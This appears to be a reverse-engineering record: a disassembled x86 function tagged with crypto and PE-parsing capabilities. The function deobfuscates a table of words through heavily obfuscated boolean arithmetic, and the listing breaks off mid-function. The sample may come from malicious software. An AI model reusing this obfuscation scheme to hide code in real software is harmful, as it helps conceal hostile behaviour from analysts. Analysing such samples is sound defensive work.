Function at 0x4174c8
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using aes mixcolumns step
Encrypt data using curve25519
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x80
mov dword [ebp - 0x8c], ecx
cmp dword [0x47e5b4], 0
jne 0x420303
mov dx, word [0x47b470]
mov ax, dx
xor ax, 0xffff
and ax, 0xea60
mov si, dx
and si, 0x159f
or ax, si
xor ax, 0x159f
mov si, ax
xor si, 0xb69c
xor si, 0xffff
or ax, 0xb69c
and ax, si
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x4963
or ax, dx
xor ax, 0x805a
mov word [0x47b670], ax
mov ax, word [0x47b472]
xor ax, 0xbed6
mov word [0x47b672], ax
mov ax, word [0x47b474]
mov dx, ax
or dx, dx
mov si, dx
and si, 0xffff
shl si, 1
add dx, 0xffff
sub dx, si
or dx, 0xf9d1
xor dx, 0xffff
or ax, 0x62e
mov si, ax
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
shl si, 1
sub si, 0xffff
sub ax, si
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and dx, ax
mov word [str.v5A], dx
mov ax, word [0x47b476]
mov dx, ax
and dx, 0xd268
shl dx, 1
add ax, 0xd268
sub ax, dx
mov word [0x47b676], ax
mov ax, word [0x47b478]
xor ax, 0xbe00
mov word [0x47b678], ax
mov dx, word [0x47b47a]
mov si, dx
xor si, 0xffff
mov ax, si
xor ax, 0xffff
xor si, 0xffff
and ax, si
xor ax, 0xffff
and ax, 0x4a84
mov si, dx
xor si, 0xb57b
xor si, 0xffff
or dx, 0xb57b
and dx, si
and ax, ax
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and ax, si
xor ax, 0xffff
mov word [0x47b67a], ax
mov ax, word [0x47b47c]
mov dx, ax
xor dx, 0xffff
and dx, 0xc4fd
and ax, 0x3b02
or dx, ax
xor dx, 0x5725
mov word [0x47b67c], dx
mov ax, word [0x47b47e]
xor ax, 0x85ea
mov word [0x47b67e], ax
mov dx, word [0x47b480]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and ax, si
xor ax, 0xffff
and ax, 0x1846
xor dx, 0xffff
and dx, 0xe7b9
or ax, dx
xor ax, 0xffff
mov word [0x47b680], ax
mov ax, word [0x47b482]
xor ax, 0x4d2b
mov word [0x47b682], ax
mov ax, word [0x47b484]
mov si, ax
xor si, 0xffff
mov dx, ax
and dx, 0xffff
shl dx, 1
mov di, ax
add di, 0xffff
sub di, dx
mov dx, si
xor dx, 0xffff
mov bx, di
xor bx, 0xffff
and dx, bx
xor si, 0xffff
xor di, 0xffff
and si, di
or dx, si
xor dx, 0xffff
xor dx, 0xffff
or dx, 0xe13e
mov si, ax
and si, 0xffff
shl si, 1
add ax, 0xffff
sub ax, si
or ax, 0x1ec1
mov si, dx
xor si, 0xffff
and si, 0x5ba3
and dx, 0xa45c
or si, dx
xor si, 0xa45c
xor ax, 0xffff
mov dx, si
and dx, ax
xor si, ax
or dx, si
mov word [0x47b684], dx
mov ax, word [0x47b486]
xor ax, 0x64a0
mov word [str.TA_], ax
mov ax, word [0x47b488]
mov dx, ax
xor dx, 0xe54e
xor dx, 0xffff
and dx, 0xe54e
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
sub dx, 0xe54e
sub ax, dx
mov word [0x47b688], ax
mov ax, word [0x47b48a]
xor ax, 0xb7fe
mov word [0x47b68a], ax
mov ax, word [0x47b48c]
mov dx, ax
xor dx, 0x6d37
xor dx, 0xffff
and dx, 0x6d37
shl dx, 1
sub dx, 0x6d37
sub ax, dx
mov word [0x47b68c], ax
mov ax, word [0x47b48e]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and dx, si
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xb30e
or ax, 0xb30e
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b68e], dx
mov ax, word [0x47b490]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
mov di, ax
xor di, 0xffff
mov si, dx
or si, di
xor si, 0xffff
or dx, di
xor dx, 0xffff
or si, dx
xor si, 0xffff
mov dx, si
xor dx, 0xffff
or dx, 0xd6bb
and si, 0x2944
xor si, 0xffff
and dx, si
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov si, ax
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
shl si, 1
sub si, 0xffff
sub ax, si
mov di, ax
xor di, 0xffff
mov si, di
and si, 0xd4b4
and ax, 0x2b4b
or si, ax
xor si, 0xfdf0
or di, 0xd6bb
xor di, 0xffff
and di, 0xffff
or si, di
xor dx, 0xffff
xor si, 0xffff
mov ax, dx
and ax, si
xor dx, si
or ax, dx
mov word [0x47b690], ax
mov ax, word [0x47b492]
xor ax, 0x56db
mov word [0x47b692], ax
mov ax, word [0x47b494]
xor ax, 0xa443
mov word [0x47b694], ax
mov ax, word [0x47b496]
mov dx, ax
and dx, 0xb6cc
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
add ax, 0xb6cc
sub ax, dx
mov word [0x47b696], ax
mov ax, word [0x47b498]
xor ax, 0xf848
mov word [0x47b698], ax
mov dx, word [0x47b49a]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
or ax, si
and ax, 0x929d
xor ax, 0xffff
and dx, 0x6d62
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x47b69a], ax
mov si, word [0x47b49c]
mov ax, si
xor ax, 0xffff
or ax, 0x6b9
add ax, 0xf947
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0xf946
xor dx, 0xffff
mov si, dx
xor si, 0xffff
mov di, ax
and di, si
mov si, ax
xor si, dx
add ax, si
sub ax, di
mov word [0x47b69c], ax
mov ax, word [0x47b49e]
xor ax, 0xbbea
mov word [0x47b69e], ax
mov ax, word [0x47b4a0]
xor ax, 0x974b
mov word [0x47b6a0], ax
mov ax, word [0x47b4a2]
xor ax, 0x93ea
mov word [0x47b6a2], ax
mov ax, word [0x47b4a4]
mov si, ax
xor si, 0xffff
and si, 0xbf5d
mov dx, ax
and dx, 0x40a2
or si, dx
xor si, 0x40a2
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0xcd3e
xor dx, 0xffff
mov si, ax
xor si, 0xffff
or si, 0x32c1
xor ax, 0xffff
or ax, 0x32c1
xor si, 0xffff
xor ax, 0xffff
or si, ax
or dx, si
mov word [0x47b6a4], dx
mov ax, word [0x47b4a6]
mov dx, ax
and dx, 0x74fc
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
add ax, 0x74fc
sub ax, dx
mov word [0x47b6a6], ax
mov ax, word [0x47b4a8]
xor ax, 0x4248
mov word [0x47b6a8], ax
mov ax, word [0x47b4aa]
xor ax, 0x2251
mov word [0x47b6aa], ax
mov dx, word [0x47b4ac]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and ax, si
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
mov si, dx
xor si, 0xffff
or ax, si
xor ax, 0xffff
or ax, 0xa21
and dx, 0xa21
and dx, dx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
mov si, ax
and si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
and si, ax
xor si, 0xffff
mov ax, si
and ax, 0xffff
shl ax, 1
add si, 0xffff
sub si, ax
mov word [0x47b6ac], si
mov ax, word [0x47b4ae]
xor ax, 0xd0f9
mov word [0x47b6ae], ax
mov dx, word [0x47b4b0]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and si, 0xffff
or si, 0
mov di, ax
add di, 1
xor ax, 0xffff
or ax, si
add ax, di
xor ax, 0xffff
and ax, 0xd753
or dx, 0xd753
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x47b6b0], ax
mov dx, word [0x47b4b2]
mov ax, dx
xor ax, 0xffff
and ax, 0x2726
mov si, dx
xor si, 0x2726
and si, dx
or ax, si
mov dx, ax
xor dx, 0xc259
xor dx, 0xffff
and dx, 0xc259
shl dx, 1
sub dx, 0xc259
sub ax, dx
mov word [0x47b6b2], ax
mov ax, word [0x47b4b4]
xor ax, 0x47d
mov word [0x47b6b4], ax
mov ax, word [0x47b4b6]
mov dx, ax
xor dx, 0xffff
or dx, 0xf89c
mov si, ax
and si, 0x763
xor si, 0xffff
xor dx, 0xffff
xor si, 0xffff
or dx, si
shl dx, 1
sub ax, 0xf89d
xor esi, esi
sub si, dx
add ax, si
mov word [0x47b6b6], ax
mov ax, word [0x47b4b8]
xor ax, 0x5f5e
mov word [0x47b6b8], ax
mov dx, word [0x47b4ba]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xbead
xor dx, 0xffff
or dx, 0x4152
and ax, dx
xor ax, 0xffff
mov word [0x47b6ba], ax
mov ax, word [0x47b4bc]
mov dx, ax
xor dx, 0xffff
and dx, 0x81be
and ax, 0x7e41
or dx, ax
xor dx, 0x5c15
mov word [0x47b6bc], dx
mov ax, word [0x47b4be]
mov dx, ax
xor dx, 0x44bd
xor dx, 0xffff
and dx, 0x44bd
shl dx, 1
sub dx, 0x44bd
sub ax, dx
mov word [0x47b6be], ax
mov ax, word [str.OC_]
mov dx, ax
and dx, 0x597d
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
sub ax, 0xa683
sub ax, 0x5f37
sub ax, dx
add ax, 0x5f37
mov word [0x47b6c0], ax
mov dx, word [0x47b4c2]
mov si, dx
xor si, 0xffff
mov di, dx
xor di, 0xffff
mov ax, si
and ax, di
xor si, di
or ax, si
xor ax, 0xffff
or ax, 0xd465
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov si, dx
xor si, 0x2b9a
and si, dx
xor si, 0xffff
and ax, si
xor ax, 0xffff
mov word [0x47b6c2], ax
mov dx, word [0x47b4c4]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
mov di, si
xor di, 0xffff
mov bx, ax
and bx, di
mov di, ax
xor di, si
add ax, di
sub ax, bx
xor ax, 0xffff
or ax, 0x5da5
xor dx, 0xffff
mov si, dx
and si, 0xa25a
xor si, 0xffff
add dx, 0xa25a
add dx, 1
add dx, si
and ax, dx
xor ax, 0xffff
mov word [0x47b6c4], ax
mov ax, word [0x47b4c6]
xor ax, 0xd1e3
mov word [0x47b6c6], ax
mov ax, word [0x47b4c8]
mov dx, ax
xor dx, 0xffff
and dx, 0x2bab
and ax, 0xd454
or dx, ax
xor dx, 0xe6a0
mov word [0x47b6c8], dx
mov ax, word [0x47b4ca]
xor ax, 0x40a3
mov word [0x47b6ca], ax
mov ax, word [0x47b4cc]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
and dx, 0xcdaf
and ax, 0x3250
or dx, ax
mov word [0x47b6cc], dx
mov ax, word [0x47b4ce]
mov dx, ax
xor dx, 0xffff
and dx, 0x3cac
and ax, 0xc353
mov si, dx
and si, ax
xor dx, ax
or si, dx
mov word [0x47b6ce], si
mov ax, word [0x47b4d0]
xor ax, 0x148b
mov word [0x47b6d0], ax
mov ax, word [0x47b4d2]
xor ax, 0xb011
mov word [0x47b6d2], ax
mov dx, word [0x47b4d4]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
or ax, si
xor ax, 0xffff
or ax, 0x2a5b
xor dx, 0xffff
or dx, 0xd5a4
and ax, dx
xor ax, 0xffff
mov word [0x47b6d4], ax
mov ax, word [0x47b4d6]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x8606
or ax, 0x8606
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b6d6], dx
mov ax, word [0x47b4d8]
xor ax, 0x8bac
mov word [0x47b6d8], ax
mov ax, word [0x47b4da]
xor ax, 0x4f97
mov word [0x47b6da], ax
mov ax, word [0x47b4dc]
xor ax, 0xcd06
mov word [0x47b6dc], ax
mov ax, word [0x47b4de]
xor ax, 0xa2bc
mov word [0x47b6de], ax
mov ax, word [0x47b4e0]
xor ax, 0x6d59
mov word [0x47b6e0], ax
mov ax, word [0x47b4e2]
mov si, ax
xor si, 0x9142
xor si, 0xffff
and si, 0x9142
shl si, 1
sub si, 0x9142
mov dx, ax
sub dx, si
mov si, dx
and si, 0xffff
shl si, 1
add dx, 0xffff
sub dx, si
mov si, dx
xor si, 0x9142
xor si, 0xffff
or dx, 0x9142
and dx, si
shl dx, 1
sub dx, 0x9142
sub ax, dx
mov word [0x47b6e2], ax
mov dx, word [0x47b4e4]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and ax, si
or ax, 0xd410
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xd410
or ax, dx
xor ax, 0xffff
mov word [0x47b6e4], ax
mov si, word [0x47b4e6]
mov ax, si
xor ax, 0xffff
mov dx, si
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0x98c4
xor si, 0xffff
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0x3d8d
and si, 0xc272
or dx, si
xor dx, 0x5ab6
or di, 0x98c4
xor di, 0xffff
and di, 0xffff
or dx, di
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor dx, 0xffff
or ax, dx
mov word [0x47b6e6], ax
mov ax, word [0x47b4e8]
mov dx, ax
xor dx, 0xffff
and dx, 0xb26
and ax, 0xf4d9
or dx, ax
xor dx, 0x41be
mov word [0x47b6e8], dx
mov dx, word [0x47b4ea]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
or ax, si
xor ax, 0xffff
or ax, 0xd0e3
xor dx, 0xffff
or dx, 0x2f1c
and ax, dx
xor ax, 0xffff
mov word [0x47b6ea], ax
mov ax, word [0x47b4ec]
xor ax, 0x1c9
mov word [0x47b6ec], ax
mov dx, word [0x47b4ee]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0x2dd9
xor dx, 0xffff
mov si, dx
and si, 0xd226
xor dx, 0xd226
or si, dx
xor ax, 0xffff
xor si, 0xffff
or ax, si
xor ax, 0xffff
and ax, 0xffff
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
mov word [0x47b6ee], dx
mov si, word [0x47b4f0]
mov dx, si
and dx, 0xffff
shl dx, 1
mov ax, si
add ax, 0xffff
sub ax, dx
mov dx, si
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xcb43
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
mov si, dx
add si, 1
xor dx, 0xffff
or dx, 0x34bc
add dx, si
mov si, ax
xor si, 0xffff
and si, 0x586d
and ax, 0xa792
or si, ax
xor si, 0xa792
mov ax, dx
xor ax, 0xffff
and ax, 0xcf7e
and dx, 0x3081
or ax, dx
xor ax, 0x3081
and si, ax
mov word [0x47b6f0], si
mov dx, word [0x47b4f2]
mov ax, dx
xor ax, 0xffff
mov si, ax
xor si, 0x2661
xor si, 0xffff
or ax, 0x2661
and ax, si
and dx, 0xd99e
or ax, dx
xor ax, 0x5fb2
mov word [0x47b6f2], ax
mov ax, word [0x47b4f4]
xor ax, 0x5ccb
mov word [0x47b6f4], ax
mov ax, word [0x47b4f6]
xor ax, 0xc97d
mov word [0x47b6f6], ax
mov ax, word [0x47b4f8]
mov dx, ax
and dx, dx
mov si, dx
xor si, 0xffff
and si, 0x11e4
and dx, 0xee1b
or si, dx
xor si, 0xee1b
mov dx, si
and dx, 0xffff
shl dx, 1
add si, 0xffff
sub si, dx
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0x13db
and si, 0xec24
or dx, si
xor dx, 0x9953
or di, 0x7577
xor di, 0xffff
and di, 0xffff
or dx, di
xor ax, 0xffff
or ax, 0x7577
xor dx, 0xffff
xor ax, 0xffff
mov si, dx
and si, ax
xor dx, ax
or si, dx
mov word [0x47b6f8], si
mov ax, word [0x47b4fa]
xor ax, 0x605c
mov word [0x47b6fa], ax
mov ax, word [0x47b4fc]
xor ax, 0x6c27
mov word [0x47b6fc], ax
mov ax, word [0x47b4fe]
mov dx, ax
xor dx, 0xffff
and dx, 0xef17
and ax, 0x10e8
or dx, ax
xor dx, 0x338c
mov word [0x47b6fe], dx
mov ax, word [str.btIa2m]
mov dx, ax
xor dx, 0xffff
and dx, 0x4ce4
and ax, 0xb31b
mov si, dx
and si, ax
xor dx, ax
or si, dx
xor si, 0xdb9d
mov word [0x47b700], si
mov ax, word [0x47b502]
xor ax, 0x291f
mov word [0x47b702], ax
mov ax, word [0x47b504]
mov si, ax
xor si, 0xffff
mov dx, ax
xor dx, 0xffff
mov di, ax
xor di, 0xffff
and dx, di
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or si, dx
mov dx, si
xor dx, 0xa29a
and dx, si
mov si, dx
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
shl si, 1
sub si, 0xffff
sub dx, si
xor ax, 0xffff
or ax, 0x5d65
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b704], dx
mov dx, word [0x47b506]
mov ax, dx
xor ax, 0xffff
and ax, 0xbd17
mov si, dx
xor si, 0x42e8
xor si, 0xffff
or dx, 0x42e8
and dx, si
mov si, dx
xor si, 0xffff
mov di, ax
and di, si
mov si, ax
xor si, dx
add ax, si
sub ax, di
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xd7f4
xor ax, 0xffff
and ax, 0x280b
or dx, ax
xor dx, 0xffff
mov word [str.L_v_fD], dx
mov ax, word [0x47b508]
xor ax, 0xcb33
mov word [0x47b708], ax
mov ax, word [str._n_p_]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and dx, si
mov si, ax
xor si, 0xffff
mov di, ax
xor di, 0xffff
and si, di
or dx, si
xor dx, 0xffff
xor dx, 0xffff
mov si, dx
and si, 0xffff
shl si, 1
add dx, 0xffff
sub dx, si
mov si, dx
and si, 0xab7c
xor dx, 0xab7c
or si, dx
xor ax, 0xffff
or ax, 0x5483
and si, ax
xor si, 0xffff
mov word [0x47b70a], si
mov ax, word [0x47b50c]
xor ax, 0x313b
mov word [0x47b70c], ax
mov dx, word [0x47b50e]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xd126
xor ax, 0xffff
and dx, 0x2ed9
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x47b70e], ax
mov ax, word [0x47b510]
mov dx, ax
and dx, 0x9118
mov si, dx
xor si, 0xffff
mov di, si
and di, 2
or si, 2
xor si, 0xffff
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
sub ax, 0x6ee8
sub ax, dx
mov word [0x47b710], ax
mov ax, word [0x47b512]
mov dx, ax
xor dx, 0xffff
and dx, 0x3888
and ax, 0xc777
or dx, ax
mov word [0x47b712], dx
mov ax, word [0x47b514]
mov dx, ax
xor dx, 0xffff
and dx, 0xa092
and ax, 0x5f6d
or dx, ax
xor dx, 0x6be9
mov word [0x47b714], dx
mov ax, word [0x47b516]
xor ax, 0xe57d
mov word [0x47b716], ax
mov ax, word [0x47b518]
xor ax, 0x91c6
mov word [0x47b718], ax
mov ax, word [0x47b51a]
xor ax, 0x340d
mov word [0x47b71a], ax
mov cx, word [0x47b51c]
mov dx, cx
xor dx, 0xffff
mov di, cx
xor di, 0xffff
mov word [ebp - 0x62], di
mov si, dx
and si, 0x5c8b
mov bx, cx
and bx, 0xa374
and di, 0x5c8b
mov ax, cx
and ax, 0xa374
or si, bx
or di, ax
xor si, di
or dx, word [ebp - 0x62]
xor dx, 0xffff
and dx, 0xffff
or si, dx
mov dx, si
xor dx, 0xffff
and dx, 0xb3e9
and si, 0x4c16
or dx, si
xor dx, 0x4c16
xor dx, 0xffff
and dx, 0xccc2
mov di, cx
xor di, 0xffff
mov si, di
and si, 0xa0
and cx, 0xff5f
or si, cx
xor si, 0xcc62
or di, 0x333d
xor di, 0xffff
and di, 0xffff
or si, di
xor si, 0xffff
or dx, si
xor dx, 0xffff
mov word [0x47b71c], dx
mov dx, word [0x47b51e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
mov cx, dx
xor cx, 0xffff
mov si, dx
xor si, 0xffff
and cx, si
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
xor ax, 0xffff
and ax, 0x4091
or dx, 0x4091
xor dx, 0xffff
mov si, ax
or si, dx
xor si, 0xffff
or ax, dx
xor ax, 0xffff
or si, ax
xor si, 0xffff
xor si, 0xffff
mov word [0x47b71e], si
mov ax, word [0x47b520]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x4eb5
or ax, 0x4eb5
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b720], dx
mov ax, word [0x47b522]
xor ax, 0x2778
mov word [0x47b722], ax
mov dx, word [0x47b524]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
mov si, dx
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
and si, cx
or si, 0
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
and ax, si
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xae
xor ax, 0xffff
and ax, 0xffff
or dx, 0xff51
xor dx, 0xffff
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x47b724], ax
mov ax, word [0x47b526]
mov cx, ax
and cx, 0x88ce
shl cx, 1
add ax, 0x88ce
sub ax, cx
mov word [str..e_rvWf], ax
mov ax, word [0x47b528]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x3178
mov si, ax
xor si, 0xffff
or si, 0x3178
and ax, 0xce87
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
or si, ax
or dx, si
xor dx, 0xa92b
mov word [0x47b728], dx
mov ax, word [0x47b52a]
mov cx, ax
xor cx, 0xffff
and cx, 0xd17d
and ax, 0x2e82
or cx, ax
mov word [0x47b72a], cx
mov ax, word [0x47b52c]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xab28
xor dx, 0xffff
or ax, 0x54d7
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b72c], dx
mov dx, word [0x47b52e]
mov si, dx
xor si, 0xffff
mov ax, dx
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov ax, si
and ax, 0x7fd9
xor ax, 0xffff
and si, 0x7fd9
xor si, 0xffff
and ax, si
xor ax, 0xffff
or dx, 0x7fd9
mov si, dx
xor si, 0xffff
and si, 0x75f8
and dx, 0x8a07
or si, dx
xor si, 0x8a07
xor ax, 0xffff
or si, si
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
or si, 0
xor si, 0xffff
mov cx, ax
xor cx, si
xor cx, 0xffff
or ax, si
and ax, cx
mov word [0x47b72e], ax
mov si, word [0x47b530]
mov dx, si
xor dx, 0xffff
mov ax, si
xor ax, 0xffff
mov cx, dx
xor cx, ax
xor cx, 0xffff
or dx, ax
and dx, cx
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
and ax, 0xfbc0
xor ax, 0xffff
xor ax, 0xffff
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0xe728
and si, 0x18d7
or dx, si
xor dx, 0x1ce8
or di, 0x43f
xor di, 0xffff
and di, 0xffff
or dx, di
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
mov word [0x47b730], ax
mov si, word [0x47b532]
mov ax, si
and ax, 0xffff
shl ax, 1
mov dx, si
add dx, 0xffff
sub dx, ax
and dx, 0x43af
and si, 0xbc50
mov ax, dx
xor ax, 0xffff
mov cx, si
xor cx, 0xffff
and ax, cx
or dx, si
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x8520
xor dx, 0xffff
and ax, 0x7adf
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b732], dx
mov ax, word [0x47b534]
xor ax, 0x8a6e
mov word [0x47b734], ax
mov ax, word [0x47b536]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0xc16c
mov cx, ax
and cx, 0xc16c
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x3e93
shl dx, 1
sub dx, 0x3e93
sub ax, dx
mov word [0x47b736], ax
mov ax, word [0x47b538]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xa050
xor dx, 0xffff
or ax, 0x5faf
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b738], dx
mov ax, word [0x47b53a]
mov dx, ax
and dx, 0xb109
xor dx, 0xffff
mov cx, ax
and cx, 0xb109
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
shl dx, 1
sub ax, 0x4ef7
sub ax, dx
mov word [0x47b73a], ax
mov ax, word [0x47b53c]
mov dx, ax
xor dx, 0xffff
and dx, 0xe747
mov cx, ax
and cx, 0x18b8
or dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0xe747
shl dx, 1
add dx, 0x18b8
add dx, 1
sub ax, dx
mov word [0x47b73c], ax
mov dx, word [0x47b53e]
mov si, dx
and si, si
mov ax, si
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
shl ax, 1
sub ax, 0xffff
sub si, ax
mov ax, si
xor ax, 0x1248
and ax, si
xor ax, 0xffff
mov cx, dx
xor cx, 0x1248
xor cx, 0xffff
or dx, 0x1248
and dx, cx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
mov word [0x47b73e], ax
mov ax, word [0x47b540]
mov cx, ax
xor cx, 0x4db0
xor cx, 0xffff
and cx, 0x4db0
shl cx, 1
sub cx, 0x4db0
sub ax, cx
mov word [0x47b740], ax
mov dx, word [0x47b542]
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x5217
xor ax, 0xffff
and ax, 0xffff
and dx, 0x5217
mov cx, dx
xor cx, 0xffff
mov si, ax
and si, cx
mov cx, ax
xor cx, dx
add ax, cx
sub ax, si
mov word [0x47b742], ax
mov ax, word [0x47b544]
xor ax, 0xbec6
mov word [0x47b744], ax
mov dx, word [0x47b546]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xfd16
and dx, 0x2e9
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
xor cx, 0x6e1d
mov word [0x47b746], cx
mov ax, word [0x47b548]
mov cx, ax
and cx, 0x828e
shl cx, 1
add ax, 0x1019
add ax, 0x828e
sub ax, 0x1019
sub ax, cx
mov word [0x47b748], ax
mov ax, word [0x47b54a]
mov cx, ax
xor cx, 0xffff
and cx, 0xeea8
and ax, 0x1157
or cx, ax
mov word [0x47b74a], cx
mov ax, word [0x47b54c]
xor ax, 0x850a
mov word [0x47b74c], ax
mov ax, word [0x47b54e]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0x47e0
xor dx, 0xffff
and ax, 0xb81f
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b74e], dx
mov dx, word [0x47b550]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xcc3
shl ax, 1
xor ecx, ecx
sub cx, dx
